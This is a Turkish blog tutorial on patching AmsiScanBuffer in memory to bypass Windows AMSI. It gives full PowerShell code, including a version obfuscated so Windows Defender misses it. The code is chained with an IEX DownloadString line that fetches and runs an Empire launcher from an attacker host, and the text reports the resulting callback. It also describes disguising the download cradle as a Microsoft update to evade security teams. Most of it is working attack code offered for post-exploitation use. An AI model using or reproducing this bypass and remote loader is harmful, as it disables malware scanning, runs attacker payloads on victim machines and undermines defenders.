Amsi( Anti Malware Scan Interface) Atlatma


 Herkese merhabalar, bugün sizlere Amsi'ı atlatıp powershell üzerinden istediğimiz komutları çalıştırabilme konusunda bildiklerimi aktarmak istedim çünkü, Amsi yer yer oldukça can sıkabilmektedir.Mesela post exploitation aşamasındasınızdır, elinizde sizin yazdığınız veya internetten bulduğunuz powershell komutları vardır fakat Amsi ; 


diyerek canınızı sıkabilmektedir.İşte bu noktada Rasta Mouse "AmsiScanBufferBypass" ile sorunumuza çözüm getirmişken, geçen zamanla birlikte güvenlik çözümleri de bu modülü olduğu gibi çalıştırmamıza izin vermemektedir(Bir nevi bizi daha yaratıcı olmaya teşvik ediyor :) ).Çalışma mantığını açıklayacak olursak kısaca amsi.dll'yi yükleyip, bir dizi işlemden sonra her zaman amsi_result_clean değeri dönmesini sağlamaktadır. Bugün ise bu modül üzerinde yapacağımız değişikliklerle Amsi'ı nasıl atlatabileceğimizi aktaracağım.

Öncelikle Rasta Mouse'un AmsiScanBufferBypass'ını inceleyelim ;


$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Sondan bir önce "$Patch" ile başlayan satırın sonundaki "0xc3" ü "0xC2+0x1" olarak değiştirdiğinizde bile kod çalışabilmektedir.Yani bu tarz bir değişiklik sonrası ilgili satırın son hali ;

$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2+0x1)


olacaktır.Fakat aşağıdaki gibi bir değişiklik bizleri sancısız sonuca ulaştırmak için idealdir.


$Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c) $LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test)) $test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72) $Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2)) $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3) #0: 31 c0 xor eax,eax #2: 05 78 01 19 7f add eax,0x7f190178 #7: 05 df fe ed 00 add eax,0xedfedf #c: c3 ret [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)

Şimdi Windows Defender'ın tüm koruma ayarları aktif durumda iken oluşturduğumuz betiği çalıştırmayı deneyelim.


İşlerin yolunda gittiğini True değerinin dönmesiyle anlamaktayız.Şimdi modifiyeli AmsiScanBufferBypass ile Empire Framework powershell launcher'ı çalıştıralım.




"usestager windows/ducky" komutu ile ducky script launcher'ı oluşturuyoruz çünkü, direk powershell launcher'ı elde etmenin en kısa yolu bu.

İlgili parametreleri girdikten sonra "execute" dedikten sonra çıktı olarak bize ducky scriptini vermektedir.Bu script içerisinden powershell komutunun yer aldığı kısmı alalım.

AmsiScanBufferBypass'ın gücüne güvenip base64 ile encode edilmiş kodu decode edip ham haliyle işleme sokabiliriz(zaten geçen zaman içerisinde encode edilmiş olması hiçbir güvenlik çözümünden kaçınmasını sağlamamaktadır), hatta öyle yapacağım.


Şimdi bu komutu bir .ps1 dosyasına kaydedip dosyayı yayınlayalım(serve).Ardından AmsiScanBufferBypass modülümüzün içerisinde bu komutu çalıştıralım

$Win32 = @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ Add-Type $Win32 $test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c) $LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test)) $test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72) $Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2)) $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) $Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3) #0: 31 c0 xor eax,eax #2: 05 78 01 19 7f add eax,0x7f190178 #7: 05 df fe ed 00 add eax,0xedfedf #c: c3 ret [System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length) IEX (New-Object Net.WebClient).DownloadString("http://x.x.x.126:8080/test2.ps1")

Şimdi sıra geldi bu betiği çalıştırmaya.


Betiğimizi çalıştırıyoruz ve bağlantı anında geliyor.


DefenderCheck ile betiklerimizi kontrol edelim.Üstteki orjinal Rasta Mouse AmsiScanBufferBypass betiği, alt taraftaki ise modifiye edilmiş AmsiScanBufferBypass betiğidir.Görüldüğü üzere orjinal dosya tespit edilirken, modifiyeli dosyamız temiz olarak nitelendirilmiştir.


Kodladığım yada bir kaynaktan alıp düzenleme yaptığım betik/programların şüpheli olarak sınıflandırılan kısımlarını görüp, gerekli düzeltmeleri yapmak için kullandığım bir diğer araç olan pestudio ile modifiye ettiğimiz AmsiScanBufferBypass betiğini incelediğimizde bir satırda yer alan string ifadelerin uzunluğunun da şüpheli durduğunu görmekteyiz fakat zarar teşkil etme durumu 2. seviye olduğundan bize herhangi bir problem yaratmadı.



Anvitivürs tarafında bir sorun yaşamış olsaydık burada hangi satırda yer alan string ifadelerinnin uzunluğunun dikkat çektiğini de görüp, ona göre değişiklik yapabilirdik.Ben burada herhangi bir aksiyon almıyorum,peki bittimi ? Tabii ki de hayır.

Senaryodan senaryoya göre ihtiyaçlar ve alınması gereken önlemler değişkenlik göstermektedir.Güvenlik ekiplerinin de dahil olduğu bir senaryo düşünürsek, güvenlik ekiplerinden kaçınma şansımızı arttırmak için IEX beşiğini olağan bir şey gibi gösterebiliriz.Bu aşamaya geçmek için modifiyeli AmsiScanBufferBypass betiğimizi de yayınlıyor(serve) olmamız gerekmektedir.

Yukarıda ki komut, sanki bir Microsoft güncellemesi gibi sanılsın diye, bizim modifiyeli AmsiScanBufferBypass betiğimizin etrafına bir kaç şey serpiştirilmiş halidir.Yaptığımız işlemi özetleyecek olursak MicrosoftVersionHash diye bir değişken içerisine base64 ile modifiyeli AmsiScanBufferBypass'in yayınlandığı URL'i atadık(yani "http://x.x.x.x:8080/test2.ps1") devamında da dosyamızı çektik ve artık alıştırmamızın sonuna geldik

Aşamalar ile alakalı sorularınız için emrehuseyinkahyaoglu@gmail.com adresinden benimle iletişime geçebilirsiniz.Bir sonraki yazımda görüşmek dileğiyle, güvenli günler dilerim.